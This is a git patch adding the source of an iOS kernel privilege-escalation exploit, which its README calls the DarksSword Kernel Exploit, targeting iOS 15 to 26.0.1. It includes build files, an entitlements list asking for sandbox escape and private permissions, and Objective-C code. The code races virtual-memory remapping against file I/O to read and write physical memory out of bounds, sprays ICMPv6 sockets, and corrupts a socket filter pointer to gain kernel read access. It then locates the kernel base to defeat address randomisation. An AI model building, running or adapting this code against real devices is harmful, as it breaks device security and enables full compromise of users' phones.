From 6cc9db16d351cddeae0952fc2a6e2942f5208ff7 Mon Sep 17 00:00:00 2001 From: opa334 Date: Mon, 23 Mar 2026 13:33:25 +0100 Subject: [PATCH] Initial commit --- Makefile | 15 + README.md | 7 + entitlements.plist | 52 ++++ src/main.m | 685 +++++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 759 insertions(+) create mode 100644 Makefile create mode 100644 README.md create mode 100644 entitlements.plist create mode 100644 src/main.m diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..e603e1b --- /dev/null +++ b/Makefile @@ -0,0 +1,15 @@ +TARGET = darksword-pe + +CC = clang + +CFLAGS = -framework Foundation -framework CoreServices -framework Security -framework IOSurface -framework IOKit -I../.include -I./src -isysroot $(shell xcrun --sdk iphoneos --show-sdk-path) -arch arm64 -arch arm64e -Wno-availability -miphoneos-version-min=15.0 -fobjc-arc +LDFLAGS = + +sign: $(TARGET) + @ldid -Sentitlements.plist $< + +$(TARGET): $(wildcard src/*.m) + $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ + +clean: + @rm -f $(TARGET) \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..75fc514 --- /dev/null +++ b/README.md @@ -0,0 +1,7 @@ +# DarksSword Kernel Exploit + +Reimplemented in Objective-C. + +Supposed to support iOS 15.0 - 26.0.1. + +Currently doesn't fully work on at least iOS 15, but KRW works. \ No newline at end of file diff --git a/entitlements.plist b/entitlements.plist new file mode 100644 index 0000000..a3890ac --- /dev/null +++ b/entitlements.plist @@ -0,0 +1,52 @@ + + + + + platform-application + + proc_info-allow + + com.apple.private.persona-mgmt + + com.apple.private.tcc.allow + + kTCCServiceSystemPolicyAllFiles + + com.apple.private.security.storage-exempt.heritable + + com.apple.private.security.storage.AppBundles + + com.apple.private.security.no-sandbox + + com.apple.springboard.CFUserNotification + + com.apple.springboard.launchapplications + + com.apple.security.network.client + + com.apple.private.mobileinstall.allowedSPI + + InstallForLaunchServices + Install + UninstallForLaunchServices + Uninstall + UpdatePlaceholderMetadata + + com.apple.security.exception.iokit-user-client-class + + AGXDevice + AGXDeviceUserClient + AGXSharedUserClient + AGXGLContext + AGXCommandQueue + IOSurfaceRoot + IOSurfaceRootUserClient + AppleJPEGDriverUserClient + H11ANEInDirectPathClient + + com.apple.developer.kernel.extended-virtual-addressing + + com.apple.developer.kernel.increased-memory-limit + + + \ No newline at end of file diff --git a/src/main.m b/src/main.m new file mode 100644 index 0000000..83d5ddf --- /dev/null +++ b/src/main.m @@ -0,0 +1,685 @@ +#import +#include +#include +#include +#include +#include +#include +#define IPPROTO_ICMPV6 58 +#define ICMP6_FILTER 18 +#include +#import +#include +void IOSurfacePrefetchPages(IOSurfaceRef surface); + +#define OOB_OFFSET 0x100 +#define OOB_SIZE 0xf00 +#define OOB_PAGES_NUM 2 + +void memset64(void *ptr, uint64_t val, size_t size) +{ + uint8_t *ptr8 = ptr; + for (uint64_t idx = 0; idx < size; idx += sizeof(uint64_t)) { + uint64_t *ptr64 = (uint64_t *)&ptr8[idx]; + *ptr64 = val; + } +} + +int readFd; +int writeFd; +kern_return_t mach_vm_map(vm_map_t target_task, mach_vm_address_t *address, mach_vm_size_t size, mach_vm_offset_t mask, int flags, mem_entry_name_port_t object, memory_object_offset_t offset, boolean_t copy, vm_prot_t cur_protection, vm_prot_t max_protection, vm_inherit_t inheritance); +kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags); +kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size); + +int highestSuccessIdx = 0; +int successReadCount = 0; +struct iovec iov; +uint64_t randomMarker; +uint64_t wiredPageMarker; +mach_port_t pcObject = MACH_PORT_NULL; +mach_vm_address_t pcAddress = 0; +mach_vm_size_t pcSize; + +NSMutableArray *socketPorts; +NSMutableArray *socketPcbIds; +#define GETSOCKOPT_READ_LEN 32 +void *getsockoptReadData = NULL; + +volatile uint8_t goSync = 0; +volatile uint8_t raceSync = 0; +volatile uint8_t freeThreadStart = 0; +volatile mach_vm_address_t freeTarget = 0; +volatile mach_vm_size_t freeTargetSize = 0; +volatile mem_entry_name_port_t targetObject = 0; +volatile memory_object_offset_t targetObjectOffset = 0; + +NSMutableDictionary *gMlockDict; + +int controlSocket = 0; +int rwSocket = 0; +uint64_t controlSocketPcb = 0; +uint64_t rwSocketPcb = 0; +#define EARLY_KRW_LENGTH 0x20 +uint8_t controlData[EARLY_KRW_LENGTH]; + +void setTargetKaddr(uint64_t where) +{ + memset(controlData, 0, EARLY_KRW_LENGTH); + *(uint64_t *)controlData = where; + int res = setsockopt(controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER, controlData, EARLY_KRW_LENGTH); + if (res != 0) { + printf("[-] setsockopt failed!!!\n"); + exit(0); + } +} + +#define TARGET_FILE_SIZE (PAGE_SIZE * 0x2) +void *default_file_content; +char executablePath[PATH_MAX]; +const char *executableName; + +pthread_t freeThread; + +void init_globals(void) +{ + socketPorts = [NSMutableArray new]; + socketPcbIds = [NSMutableArray new]; + getsockoptReadData = calloc(1, GETSOCKOPT_READ_LEN); + gMlockDict = [NSMutableDictionary new]; + default_file_content = calloc(1, TARGET_FILE_SIZE); + randomMarker = (uint64_t)arc4random() << 32 | arc4random(); + wiredPageMarker = (uint64_t)arc4random() << 32 | arc4random(); +} + +void create_target_file(const char *path) { + FILE *f = fopen(path, "w"); + fwrite(default_file_content, 1, TARGET_FILE_SIZE, f); + fclose(f); +} + +void init_target_file() +{ + char *read_file_path = calloc(1, 1024); + char *write_file_path = calloc(1, 1024); + confstr(_CS_DARWIN_USER_TEMP_DIR, read_file_path, 1024); + confstr(_CS_DARWIN_USER_TEMP_DIR, write_file_path, 1024); + + char read_file_name[100]; + char write_file_name[100]; + snprintf(read_file_name, 100, "/%u", arc4random()); + snprintf(write_file_name, 100, "/%u", arc4random()); + + strcat(read_file_path, read_file_name); + strcat(write_file_path, write_file_name); + + create_target_file(read_file_path); + create_target_file(write_file_path); + + readFd = open(read_file_path, O_RDWR); + writeFd = open(write_file_path, O_RDWR); + + printf("[+] readFd: %d\n", readFd); + printf("[+] writeFd: %d\n", writeFd); + + remove(read_file_path); + remove(write_file_path); + fcntl(readFd, F_NOCACHE, 1); + fcntl(writeFd, F_NOCACHE, 1); +} + +void *free_thread(void *arg) +{ + while (freeThreadStart == 0); + + while (goSync == 0); + + while (goSync != 0) { + while (raceSync == 0); + + kern_return_t kr = mach_vm_map(mach_task_self(), + &freeTarget, + freeTargetSize, + 0, + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, + targetObject, + targetObjectOffset, + 0, + VM_PROT_DEFAULT, + VM_PROT_DEFAULT, + VM_INHERIT_NONE); + + if (kr != KERN_SUCCESS) { + printf("[-] mach_vm_map failed !!!\n"); + printf("[+] freeTarget: %#llx\n", freeTarget); + printf("[+] targetObject: %#x\n", targetObject); + exit(0); + } + + raceSync = 0; + } + + return NULL; +} + +fileport_t spray_socket(NSMutableArray *socketPorts, NSMutableArray *socketPcbIds) +{ + int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_ICMPV6); + if (fd == -1) { + printf("[-] socket create failed!!!"); + return fd; + } + + fileport_t outputSocketPort = 0; + fileport_makeport(fd, &outputSocketPort); + close(fd); + + void *socketInfo = calloc(1, 0x400); + int r = syscall(336, 6, getpid(), 3, outputSocketPort, socketInfo, 0x400); + uint64_t inp_gencnt = *(uint64_t *)((uintptr_t)socketInfo + 0x110); + + [socketPorts addObject:@(outputSocketPort)]; + [socketPcbIds addObject:@(inp_gencnt)]; + return outputSocketPort; +} + +void sockets_release(NSMutableArray *socketPorts, NSMutableArray *socketPcbIds) +{ + while (socketPorts.lastObject) { + mach_port_deallocate(mach_task_self(), ((NSNumber *)socketPorts.lastObject).unsignedIntValue); + [socketPorts removeLastObject]; + [socketPcbIds removeLastObject]; + } +} + +IOSurfaceRef create_surface_with_address(uint64_t address, uint64_t size) { + IOSurfaceRef surface = IOSurfaceCreate((__bridge CFDictionaryRef)@{ + @"IOSurfaceAddress": @(address), + @"IOSurfaceAllocSize": @(size) + }); + + IOSurfacePrefetchPages(surface); + + return surface; +} + +void surface_mlock(uint64_t address, uint64_t size) +{ + gMlockDict[@(address)] = (__bridge id)create_surface_with_address(address, size); +} + +void surface_munlock(uint64_t address, uint64_t size) +{ + IOSurfaceRef ref = (__bridge IOSurfaceRef)gMlockDict[@(address)]; + if (ref) { + CFRelease(ref); + [gMlockDict removeObjectForKey:@(address)]; + } +} + + +void pe_init(void) +{ + init_target_file(); + + if (!executableName) { + uint32_t sz = PATH_MAX; + _NSGetExecutablePath(executablePath, &sz); + executableName = strrchr(executablePath, '/'); + if (executableName) { + executableName++; + } + else { + executableName = executablePath; + } + } + + pthread_create(&freeThread, NULL, free_thread, NULL); +} + +void create_physically_contiguous_mapping(mach_port_t *port, mach_vm_address_t *address, mach_vm_size_t size) +{ + NSDictionary *params = @{ + (__bridge id)kIOSurfaceAllocSize : @(size), + @"IOSurfaceMemoryRegion" : @"PurpleGfxMem", + }; + + IOSurfaceRef surface = IOSurfaceCreate((__bridge CFDictionaryRef)params); + + if (!surface) { + printf("[-] Failed to create surface!!!\n"); + exit(0); + } + + void *physicalMappingAddress = IOSurfaceGetBaseAddress(surface); + printf("[+] physicalMappingAddress: %p\n", physicalMappingAddress); + + mach_port_t memoryObject; + kern_return_t kr = mach_make_memory_entry_64(mach_task_self(), &size, (mach_vm_address_t)physicalMappingAddress, VM_PROT_DEFAULT, &memoryObject, 0); + if (!surface) { + printf("[-] mach_make_memory_entry_64 failed!!!\n"); + exit(0); + } + + mach_vm_address_t newMappingAddress; + kr = mach_vm_map(mach_task_self(), &newMappingAddress, size, 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR, memoryObject, 0, 0, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE); + + if (kr != KERN_SUCCESS) { + printf("[-] mach_vm_map failed!!!\n"); + exit(0); + } + + CFRelease(surface); + *port = memoryObject; + *address = newMappingAddress; +} + +void initialize_physical_read_write(uint64_t contiguous_mapping_size) +{ + pcSize = contiguous_mapping_size; + create_physically_contiguous_mapping(&pcObject, &pcAddress, pcSize); + printf("[+] pcObject: %u\n", pcObject); + printf("[+] pcAddress: %#llx\n", pcAddress); + memset64((void *)pcAddress, randomMarker, pcSize); + freeTarget = pcAddress, + freeTargetSize = pcSize; + freeThreadStart = 1; + goSync = 1; +} + +kern_return_t physical_oob_read_mo(mach_port_t memoryObject, mach_vm_offset_t memoryObjectOffset, mach_vm_size_t size, mach_vm_offset_t offset, void *buffer) +{ + targetObject = memoryObject; + targetObjectOffset = memoryObjectOffset; + iov.iov_base = (void *)(pcAddress + 0x3f00); + iov.iov_len = offset + size; + *(uint64_t *)buffer = randomMarker; + *(uint64_t *)(pcAddress + 0x3f00 + offset) = randomMarker; + + bool readRaceSucceeded = false; + int w = 0; + for (int tryIdx = 0; tryIdx < highestSuccessIdx + 100; tryIdx++) { + raceSync = 1; + w = pwritev(readFd, &iov, 1, 0x3f00); + while (raceSync == 1); + + kern_return_t kr = mach_vm_map(mach_task_self(), + &pcAddress, + pcSize, + 0, + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, + pcObject, + 0, + 0, + VM_PROT_DEFAULT, + VM_PROT_DEFAULT, + VM_INHERIT_NONE); + if (kr != KERN_SUCCESS) { + printf("[+] mach_vm_map failed!!!\n"); + exit(0); + } + if (w == -1) { + int r = pread(readFd, buffer, size, 0x3f00 + offset); + uint64_t marker = *(uint64_t *)buffer; + if (marker != randomMarker) { + readRaceSucceeded = true; + successReadCount++; + if (tryIdx > highestSuccessIdx) { + highestSuccessIdx = tryIdx; + } + break; + } else { + usleep(1); + } + } + if (tryIdx == 500) { + break; + } + } + targetObject = 0; + if (!readRaceSucceeded) return 1; + return KERN_SUCCESS; +} + +kern_return_t physical_oob_read_mo_with_retry(mach_port_t memoryObject, mach_vm_offset_t memoryObjectOffset, mach_vm_size_t size, mach_vm_offset_t offset, void *buffer) +{ + kern_return_t kr; + do { + kr = physical_oob_read_mo(memoryObject, memoryObjectOffset, size, offset, buffer); + } while (kr != KERN_SUCCESS); + return kr; +} + +void physical_oob_write_mo(mach_port_t memoryObject, mach_vm_offset_t memoryObjectOffset, mach_vm_size_t size, mach_vm_offset_t offset, void *buffer) +{ + targetObject = memoryObject; + targetObjectOffset = memoryObjectOffset; + iov.iov_base = (void *)(pcAddress + 0x3f00); + iov.iov_len = offset + size; + + pwrite(writeFd, buffer, size, 0x3f00 + offset); + for (int tryIdx = 0; tryIdx < 20; tryIdx++) { + raceSync = 1; + preadv(writeFd, &iov, 1, 0x3f00); + while (raceSync == 1); + kern_return_t kr = mach_vm_map(mach_task_self(), + &pcAddress, + pcSize, + 0, + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, + pcObject, + 0, + 0, + VM_PROT_DEFAULT, + VM_PROT_DEFAULT, + VM_INHERIT_NONE); + + if (kr != KERN_SUCCESS) { + printf("[-] mach_vm_map failed!!!\n"); + exit(0); + } + } + targetObject = 0; +} + +void set_target_kaddr(uint64_t where) +{ + memset(controlData, 0, EARLY_KRW_LENGTH); + *(uint64_t *)controlData = where; + int res = setsockopt(controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER, controlData, EARLY_KRW_LENGTH); + if (res != 0) { + printf("[-] setsockopt failed!!!"); + exit(0); + } +} + +void early_kread(uint64_t where, void *read_buf, size_t size) +{ + if (size > EARLY_KRW_LENGTH) { + printf("[!] error: (size > EARLY_KRW_LENGTH)\n"); + exit(0); + } + set_target_kaddr(where); + socklen_t read_data_length = size; + int res = getsockopt(rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, read_buf, &read_data_length); + if (res != 0) { + printf("[-] getsockopt failed!!!\n"); + exit(0); + } +} + +uint64_t early_kread64(uint64_t where) +{ + uint64_t value = 0; + early_kread(where, &value, sizeof(value)); + return value; +} + +int find_and_corrupt_socket(mach_port_t memoryObject, mach_vm_offset_t seekingOffset, void *readBuffer, void *writeBuffer, NSMutableArray *targetInpGencntList, bool doRead) +{ + if (doRead) { + physical_oob_read_mo_with_retry(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer); + } + + int searchStartIdx = 0; + bool targetFound = false; + uint64_t pcbStartOffset = 0; + ///uint64_t icmp6FiltOffset = 0x148; + uint64_t icmp6FiltOffset = 0x138 + 0x18; // TODO: Make dynamic + void *found = NULL; + do { + found = memmem(readBuffer + searchStartIdx, OOB_SIZE - searchStartIdx, executableName, strlen(executableName)); + if (found) { + pcbStartOffset = (uint64_t)found - (uint64_t)readBuffer & 0xFFFFFFFFFFFFFC00; + if (*(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + icmp6FiltOffset + 8)) { + targetFound = true; + break; + } + } + searchStartIdx += 0x400; + } while (found == NULL && searchStartIdx < OOB_SIZE); + + if (targetFound) { + printf("[+] pcbStartOffset: %#llx\n", pcbStartOffset); + uint64_t targetInpGencnt = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + 0x78); + printf("[+] targetInpGencnt: %#llx\n", targetInpGencnt); + if (targetInpGencnt == socketPcbIds.lastObject.unsignedLongLongValue) { + printf("[-] Found last PCB\n"); + return -1; + } + bool isOurPcd = false; + int controlSocketIdx = 0; + for (int sockIdx = 0; sockIdx < socketPorts.count; sockIdx++) { + if (socketPcbIds[sockIdx].unsignedLongLongValue == targetInpGencnt) { + isOurPcd = true; + controlSocketIdx = sockIdx; + break; + } + } + if (!isOurPcd) { + printf("[-] Found freed PCB Page!\n"); + return -1; + } + if ([targetInpGencntList containsObject:@(targetInpGencnt)]) { + printf("[-] Found old PCB Page!!!!\n"); + return -1; + } else { + [targetInpGencntList addObject:@(targetInpGencnt)]; + } + uint64_t inpListNextPointer = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + 0x28) - 0x20; + uint64_t icmp6Filter = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + icmp6FiltOffset); + printf("[+] inpListNextPointer: %#llx\n", inpListNextPointer); + printf("[+] icmp6Filter: %#llx\n", icmp6Filter); + rwSocketPcb = inpListNextPointer; + memcpy(writeBuffer, readBuffer, OOB_SIZE); + *(uint64_t *)((uintptr_t)writeBuffer + pcbStartOffset + icmp6FiltOffset) = inpListNextPointer + icmp6FiltOffset; + *(uint64_t *)((uintptr_t)writeBuffer + pcbStartOffset + icmp6FiltOffset + 8) = 0; + + printf("[+] Corrupting icmp6filter pointer...\n"); + while (true) { + physical_oob_write_mo(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, writeBuffer); + physical_oob_read_mo_with_retry(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer); + uint64_t newIcmp6Filter = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + icmp6FiltOffset); + if (newIcmp6Filter == inpListNextPointer + icmp6FiltOffset) { + printf("[+] target corrupted: %#llx\n", *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + icmp6FiltOffset)); + break; + } + } + int sock = fileport_makefd((fileport_t)socketPorts[controlSocketIdx].unsignedLongLongValue); + socklen_t len = GETSOCKOPT_READ_LEN; + int res = getsockopt(sock, IPPROTO_ICMPV6, ICMP6_FILTER, getsockoptReadData, &len); + if (res != 0) { + printf("[-] getsockopt failed!!!\n"); + exit(0); + } + uint64_t marker = *(uint64_t *)getsockoptReadData; + if (marker != -1) { + printf("[+] Found control_socket at idx: %u\n", controlSocketIdx); + controlSocket = sock; + rwSocket = fileport_makefd((fileport_t)socketPorts[controlSocketIdx + 1].unsignedLongLongValue); + return KERN_SUCCESS; + } + else { + printf("[-] Failed to corrupt control_socket at idx: %u\n", controlSocketIdx); + } + } + return -1; +} + +bool isA18Device = false; + +void pe_v1(void) +{ + uint64_t totalSearchMappingPagesNum = isA18Device ? (0x10 * 0x10) : (0x1000 * 0x10); + uint64_t searchMappingSize = isA18Device ? (0x10 * PAGE_SIZE) : (0x2000 * PAGE_SIZE); + uint64_t totalSearchMappingSize = totalSearchMappingPagesNum * PAGE_SIZE; + uint64_t searchMappingNum = totalSearchMappingSize / searchMappingSize; + + printf("[i] totalSearchMappingPagesNum: %#llx\n", totalSearchMappingPagesNum); + printf("[i] searchMappingSize: %#llx\n", searchMappingSize); + printf("[i] totalSearchMappingSize: %#llx\n", totalSearchMappingSize); + printf("[i] searchMappingNum: %#llx\n", searchMappingNum); + + void *readBuffer = calloc(1, OOB_SIZE); + void *writeBuffer = calloc(1, OOB_SIZE); + initialize_physical_read_write(OOB_PAGES_NUM * PAGE_SIZE); + mach_vm_address_t wiredMapping = 0; + mach_vm_size_t wiredMappingSize = 1024ULL * 1024ULL * 1024ULL * 3ULL; + kern_return_t kr = KERN_SUCCESS; + if (isA18Device) { + kr = mach_vm_allocate(mach_task_self(), &wiredMapping, wiredMappingSize, VM_FLAGS_ANYWHERE); + printf("[+] wiredMapping: %#llx\n", wiredMapping); + } + NSMutableArray *targetInpGencntList = [NSMutableArray new]; + while (true) { + if (isA18Device) { + surface_mlock(wiredMapping, wiredMappingSize); + for (int s = 0; s < (wiredMappingSize / 0x4000); s++) { + *(uint64_t *)(wiredMapping + s + 0x4000) = 0; + } + } + NSMutableArray *searchMappings = [NSMutableArray new]; + for (uint64_t s = 0; s < searchMappingNum; s++) { + mach_vm_address_t searchMappingAddress = 0; + kr = mach_vm_allocate(mach_task_self(), &searchMappingAddress, searchMappingSize, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR); + if (kr != KERN_SUCCESS) { + printf("[-] mach_vm_allocate failed!!!\n"); + exit(0); + } + for (int k = 0; k < searchMappingSize; k += PAGE_SIZE) { + *(uint64_t *)(searchMappingAddress + k) = randomMarker; + } + [searchMappings addObject:@(searchMappingAddress)]; + } + socketPorts = [NSMutableArray new]; + socketPcbIds = [NSMutableArray new]; + unsigned socketPortsCount = 0; + #define OPEN_MAX 10240 + int maxfiles = OPEN_MAX * 3; + int leeway = 4096 * 2; + for (unsigned socketCount = 0; socketCount < (maxfiles - leeway); socketCount++) { + mach_port_t port = spray_socket(socketPorts, socketPcbIds); + if (port == -1) { + printf("[-] Failed to spray sockets: %u\n", socketCount); + break; + } else { + socketPortsCount++; + } + } + uint64_t startPcbId = socketPcbIds.firstObject.unsignedLongLongValue; + uint64_t endPcbId = socketPcbIds.lastObject.unsignedLongLongValue; + printf("[i] socketPortsCount: %u\n", socketPortsCount); + printf("[i] startPcbId: %llu\n", startPcbId); + printf("[i] endPcbId: %llu\n", endPcbId); + bool success = false; + for (uint64_t s = 0; s < searchMappingNum; s++) { + mach_vm_address_t searchMappingAddress = searchMappings[s].unsignedLongLongValue; + printf("[i] looking in search mapping: %llu\n", s); + mach_port_t memoryObject = 0; + mach_vm_size_t memoryObjectSize = searchMappingSize; + kr = mach_make_memory_entry_64(mach_task_self(), &memoryObjectSize, searchMappingAddress, VM_PROT_DEFAULT, &memoryObject, 0); + if (kr != KERN_SUCCESS) { + printf("[-] mach_make_memory_entry_64 failed!!!"); + exit(0); + } + surface_mlock(searchMappingAddress, searchMappingSize); + mach_vm_offset_t seekingOffset = 0; + while (seekingOffset < searchMappingSize) { + kr = physical_oob_read_mo(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer); + if (kr == KERN_SUCCESS) { + if (find_and_corrupt_socket(memoryObject, seekingOffset, readBuffer, writeBuffer, targetInpGencntList, false) == KERN_SUCCESS) { + success = true; + break; + } + } + seekingOffset += PAGE_SIZE; + } + kr = mach_port_deallocate(mach_task_self(), memoryObject); + if (kr != KERN_SUCCESS) { + printf("[-] mach_port_deallocate failed!!!\n"); + exit(0); + } + if (success == true) { + break; + } + } + sockets_release(socketPorts, socketPcbIds); + for (uint64_t s = 0; s < searchMappingNum; s++) { + mach_vm_address_t searchMappingAddress = searchMappings.lastObject.unsignedLongLongValue; + [searchMappings removeLastObject]; + kr = mach_vm_deallocate(mach_task_self(), searchMappingAddress, searchMappingSize); + } + if (isA18Device) { + surface_munlock(wiredMapping, wiredMappingSize); + } + if (success == true) { + break; + } + } +} + +void pe_v2(void) +{ + // TODO: Implement +} + +uint64_t kernel_base; +uint64_t kernel_slide; + +int main(int argc, char* argv[]) +{ + init_globals(); + struct utsname name; + uname(&name); + + isA18Device = (bool)strstr(name.machine, "iPhone17,"); + + if (isA18Device) { + printf("[+] Running on A18 device\n"); + sleep(8); + pe_init(); + pe_v2(); + } + else { + printf("[+] Running on non-A18 device\n"); + pe_init(); + pe_v1(); + } + + printf("[+] highestSuccessIdx: %d\n", highestSuccessIdx); + printf("[+] successReadCount: %d\n", successReadCount); + + goSync = 0; + raceSync = 1; + pthread_join(freeThread, NULL); + close(writeFd); + close(readFd); + + uint64_t control_socket_pcb = early_kread64(rwSocketPcb + 0x20); + uint64_t pcbinfo_pointer = early_kread64(control_socket_pcb + 0x38); + uint64_t ipi_zone = early_kread64(pcbinfo_pointer + 0x68); + + // TODO: This is not a text pointer on iOS 15 + uint64_t zv_name = early_kread64(ipi_zone + 0x10); + + kernel_base = zv_name & 0xFFFFFFFFFFFFC000; + while (true) { + if (early_kread64(kernel_base) == 0x100000cfeedfacf) { + // TODO: This doesn't exist on iOS 15 + if (early_kread64(kernel_base + 0x8) == 0xc00000002) { + break; + } + } + kernel_base -= PAGE_SIZE; + } + kernel_slide = kernel_base - 0xfffffff007004000; + + printf("early_kread64(%#llx) -> %#llx\n", kernel_base, early_kread64(kernel_base)); + + // TODO: Implement to prevent panic on exit + //krw_sockets_leak_forever(); + + printf("win??\n"); + sleep(5); + + return 0; +} \ No newline at end of file